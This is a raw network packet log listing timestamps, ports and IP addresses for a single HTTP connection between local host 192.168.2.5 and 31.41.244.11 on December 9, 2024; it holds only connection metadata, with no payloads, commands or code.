Dec 9, 2024 15:30:13.836321115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.836642027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.836657047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.836667061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.836678982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.836678982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.836707115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.838287115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.838305950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.838351965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.839823008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.839837074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.839879990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.839893103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.841274023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.841285944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.841337919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.842820883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.842834949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.842845917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.842879057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.842899084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.844331026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.844391108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.844533920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.844578981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.845846891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.845860004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.845901966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.847603083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.847619057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.847661018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.847673893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.963202953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.963331938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.963989019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.964049101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.964123964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.964138031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.964171886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.964184999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.965595961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.965662956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.966063976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.966123104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.966733932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.966794968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.967511892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.967526913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.967566967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.967936039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.968705893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.968722105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.968755007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.968766928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.970053911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.970071077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.970105886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.970118999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.972248077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.972306013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.973588943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.973612070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.973643064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.973651886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.975259066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.975284100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.975325108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.975325108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.976841927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.976866007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.976890087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.976903915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.978245974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.978271008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.978286028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.978298903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.978312016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.978333950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.979608059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.979659081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.979664087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.979701996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.981110096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.981132984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.981158972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.981182098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.982750893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.982774973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.982800961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.982815981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.984421968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.984460115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.984472990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.984474897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.984498024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.984513044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.986090899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.986113071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.986143112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.986160994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.987514973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.987554073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.987689018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.988986015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.989027023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.989048004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.989082098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.990725040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.990747929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.990780115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.990797043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.992474079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.992499113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.992515087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.992527008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.992542982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.992567062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.993837118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.993860006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.993895054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.993913889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.994981050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.995006084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.995038033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.995054007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.996486902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.996510983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.996546030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.996557951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.997780085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.997827053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.997832060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.997872114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.999160051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.999181986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.999200106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.999207020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.999228001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.999245882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.000621080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.000643969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.000674009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.000689030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.002115965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.002157927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.002170086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.002197027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.003581047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.003604889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.003637075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.003648996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.005053997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.005106926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.005114079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.005153894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.006572962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.006594896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.006625891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.006644011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.008043051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.008065939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.008089066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.008093119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.008112907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.008128881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.009553909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.009576082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.009608030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.009618998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.011035919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.011059046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.011092901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.011102915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.012547970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.012569904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.012595892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.012610912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.014288902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.014312029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.014343977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.014355898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.015533924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.015556097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.015571117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.015588999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.015618086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.017034054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.017056942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.017110109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.017119884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.018532991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.018557072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.018599033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.018765926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.020042896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.020066023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.020117998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.020172119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.021558046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.021580935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.021594048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.021619081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.021646976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.021646976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.023042917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.023063898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.023112059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.023163080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.024580002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.024602890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.024645090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.024708033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.026227951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.026256084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.026293993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.026336908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.027580023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.027601004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.027641058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.027836084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.029207945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.029228926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.029244900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.029273033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.029284954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.030756950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.030772924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.030827045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.030838013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.032233953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.032254934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.032300949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.032342911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.033664942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.033693075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.033730030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.033787012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.035161018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.035183907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.035200119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.035235882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.035248995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.035248995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.156137943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.156287909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.156411886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.156426907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.156466961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.157174110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.157227993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.157773018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.157792091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.157819986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.157840014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.159023046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.159075975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.159601927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.159620047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.159722090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.160820007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.160872936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.161526918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.161540031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.161585093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.161618948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.162803888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.162822962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.162872076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.162916899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.164079905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.164099932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.164134026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.164283991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.165564060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.165585995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.165616035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.165626049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.166851997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.166868925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.166913986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.166944027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.168271065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.168292999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.168328047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.168360949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.169569969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.169584990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.169621944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.169661999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.170794010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.170808077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.170844078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.172250032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.172272921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.172327042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.173567057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.173585892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.173629045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.173656940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.174995899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.175012112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.175055027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.175067902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.176897049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.176919937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.176947117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.176956892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.178055048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.178076029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.178098917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.178117990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.179542065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.179559946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.179572105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.179589987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.179605007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.181111097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.181132078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.181155920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.181180954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.182986021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.183007002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.183043003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.183058023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.184416056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.184437990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.184467077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.184487104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.185848951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.185873032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.185889959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.185899973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.185910940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.185935020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.187402964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.187427044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.187469959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.187500000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.188904047 CET	80	49866	31.41.244.11	192.168.2.5
